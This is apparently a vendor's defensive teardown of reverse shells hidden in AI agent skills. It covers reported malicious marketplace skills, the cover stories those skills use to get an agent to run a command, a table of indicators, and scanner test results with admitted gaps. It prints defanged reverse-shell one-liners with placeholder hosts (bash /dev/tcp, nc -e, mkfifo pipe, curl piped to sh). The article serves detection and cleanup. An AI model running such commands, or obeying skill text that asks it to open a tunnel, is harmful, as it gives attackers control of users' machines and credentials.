Reverse shell indicators in agent skills
A reverse shell is the shortest path from "I installed a skill" to "someone else is typing commands on my machine". The skill makes your computer dial out to a host the attacker controls and attaches a shell to that connection, so the attacker gets an interactive terminal with whatever permissions the agent had. This teardown covers the pattern: what these skills claim, the shapes the shell takes inside SKILL.md and bundled scripts, the indicators to check before install, which Ironheights checks fire, where our own tests show gaps, and how to clean up if one already ran.
Public reports show the pattern is real on ClawHub. Snyk's write-up of the "clawdhub" campaign is titled around skills that drop reverse shells; the macOS path it documents decodes a base64 string and runs a second-stage script fetched from a raw IP address. Koi Security's ClawHavoc report, which counted 341 malicious skills on ClawHub in early February 2026, described Polymarket skills that worked as advertised but also opened a reverse shell. A community report on openclaw/clawhub issue #152 traced that call to a search function in the skill polymarket-all-in-one; a maintainer later wrote that the skill is no longer public. Those findings belong to those researchers, not to Ironheights.
What the skill claimed
Reverse shell skills rarely announce themselves. The cover story tends to fall into one of three groups:
- A useful tool that really works. The Polymarket case is the clearest example: market search returned real results, and the shell call sat inside one function that ran during normal use. A reviewer who only tries the skill sees nothing wrong.
- A "support" or "diagnostics" step. The skill asks the agent to open a tunnel so a helper can "check latency", "debug the gateway", or "let support connect".
- An installer or prerequisite. The shell is not in the skill at all. A setup line fetches a script from a raw IP address or a paste site, and that script opens the connection. This overlaps with the fake prerequisite pattern and with curl piped to a shell.
In every group the agent does the dangerous part. It already has a shell tool and often a home directory to work in, so a skill does not need an exploit. It only needs one command the agent is willing to run.
The technique, in its common shapes
Defanged sketches for reviewers. Hosts and ports are placeholders, so none of these run as written:
# Shell redirect in a setup step
bash -i >& /dev/tcp/<attacker-host>/<port> 0>&1
# Netcat handing over a shell
nc -e /bin/sh <attacker-host> <port>
# Named pipe wired to netcat (truncated)
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-host> ...
# Second stage from a raw address
curl -s hxxp://<raw-ip>/<path> | sh
Script versions do the same thing in a few more lines. A Python helper opens a socket to a remote host, duplicates the socket onto standard input, output and error, and starts /bin/sh -i. A Node.js helper opens a net.Socket and pipes it into a spawned shell. Neither needs anything beyond the language's standard library, and both can sit inside a function with an innocent name.
Indicators to check before install
| Indicator | Where to look | Why it matters |
|---|---|---|
/dev/tcp/ or /dev/udp/ in a command | SKILL.md, shell scripts | Bash opens a network connection through that path |
nc, ncat or socat with -e, exec: or a pipe into sh | Setup steps, scripts | Hands a shell to whoever is on the other end |
mkfifo next to nc | Shell scripts | The classic named-pipe shell |
/bin/sh -i or bash -i | Anywhere | An interactive shell rarely belongs in a skill |
socket plus dup2 plus a shell spawn | Python helpers | The standard-library reverse shell |
net.Socket or net.connect piped into child_process | Node.js helpers | Same idea in JavaScript |
| A raw IP address, odd port, or paste site | URLs anywhere | Avoids domain blocklists and reputation checks |
curl or wget output piped into sh, bash or python | Install steps | The shell may live in a script you never see |
A missing indicator does not clear a skill. A second stage fetched at run time can contain any of these lines while the files on disk contain none.
What Ironheights flags, and what it missed in our tests
We built small defanged fixtures for each shape above, separate from our benchmark sets, and ran npx ironheights scan ./path/to/skill with version 0.35.1. Results:
| Shape | Findings | Verdict |
|---|---|---|
bash -i redirect to /dev/tcp/ in SKILL.md | IH-EXEC-008 critical, IH-EXEC-007 medium | block |
nc -e /bin/sh in SKILL.md | IH-EXEC-008 critical | block |
curl from a raw IP piped into bash | IH-EXEC-001 critical, IH-NET-001 high | block |
mkfifo pipe wired to nc | none | no-findings |
Python socket plus dup2 plus /bin/sh -i in a helper | none | no-findings |
Node.js net.Socket piped into a spawned shell | none | no-findings |
IH-EXEC-008, "Reverse or bind shell redirect", shipped in 0.35.0 and catches the one-line redirect and nc -e forms. The fetch-and-run form is caught by IH-EXEC-001, and the raw address raises IH-NET-001. The tracker entry for the Polymarket skills lists those two rules plus IH-EXEC-003 for the shell call inside the script.
The last three rows are real gaps. The named-pipe form and the socket-based shells written as ordinary code returned no findings in our run, so a clean result on a skill with Python or Node.js helpers says nothing about this pattern. We are treating those as missed attacks to fix, and any new check has to pass our false-positive tests against real networking skills before it ships. Until then, read helper scripts yourself or run the skill somewhere it cannot reach your keys.
What static scanning would not catch
Even with better pattern checks, a file scanner reads only the copy on disk:
- Remote second stages. If the skill fetches its script later, the shell lives on a server we never see.
- Novel obfuscation. String building, character codes, or a shell assembled from config values can slip past patterns.
- Behavior at run time. A connection that only opens on a certain date, input, or host is invisible to a text scan.
- A person following instructions. If the text convinces you to paste a command into your own terminal, no skill file needs to contain it.
The full list is on limitations. For the network side, sandboxing OpenClaw skills in Docker with outbound traffic blocked turns most reverse shells into a failed connection.
If the skill already ran
Treat a confirmed reverse shell as full access to the account the agent ran under:
- Disconnect the machine from the network, or block outbound traffic, before anything else.
- Look for live connections to unfamiliar hosts with
lsof -iorss -tpand note the process and address. - Check persistence: cron, launch agents, systemd user units, and shell startup files, which IH-PERSIST-001 flags in skill files but not on a live system.
- Rotate every credential the agent could read: SSH keys, cloud tokens, API keys, browser sessions. See Skills that read ~/.ssh and browser profiles for the usual list.
- Remove the skill, then follow the longer checklist in What to do after installing a malicious OpenClaw skill.
- Report the skill to ClawHub with the indicators you found.
If the machine held production credentials, rebuilding it is often faster and safer than trying to prove it is clean.
FAQ
What is a reverse shell in an agent skill?
It is a command or script inside the skill that makes your machine connect out to an attacker's host and attach a shell to that connection. The attacker then types commands with the agent's permissions.
Does a clean Ironheights scan mean a skill has no reverse shell?
No. Version 0.35.1 flags the common one-line redirect, nc -e, and fetch-and-run forms, but in our tests it missed a named-pipe shell and socket-based shells written as Python or Node.js code. Remote second stages are out of reach for any file scanner.
Why do these skills use raw IP addresses?
A raw address skips domain blocklists and reputation services, and nothing has to be registered. A raw address in a skill is a strong reason to review it, which is why IH-NET-001 rates it high.
Will a sandbox stop a reverse shell?
A container or VM with outbound network access blocked stops the connection from reaching the attacker. A sandbox that still allows outbound traffic only limits what the attacker can reach once connected.
Check a skill before you install it
Run the scanner on a local copy first with npx ironheights scan ./path/to/skill, or paste files into the browser scanner. Read helper scripts yourself regardless of the result. More on what we test is at https://ironheights.dev/.
Sources
- Inside the 'clawdhub' Malicious Campaign: AI Agent Skills Drop Reverse Shells on OpenClaw Marketplace, Snyk, 4 February 2026.
- ClawHavoc: 341 Malicious Clawed Skills Found by the Bot They Were Targeting, Koi Security (archived), February 2026.
- Malicious Skill Report (polymarket-all-in-one), openclaw/clawhub issue #152, 5 February 2026.
- Command and Scripting Interpreter: Unix Shell (T1059.004), MITRE ATT&CK.
- Ironheights rule IH-EXEC-001, Ironheights.
- Ironheights rule IH-NET-001, Ironheights.
- Ironheights limitations, Ironheights.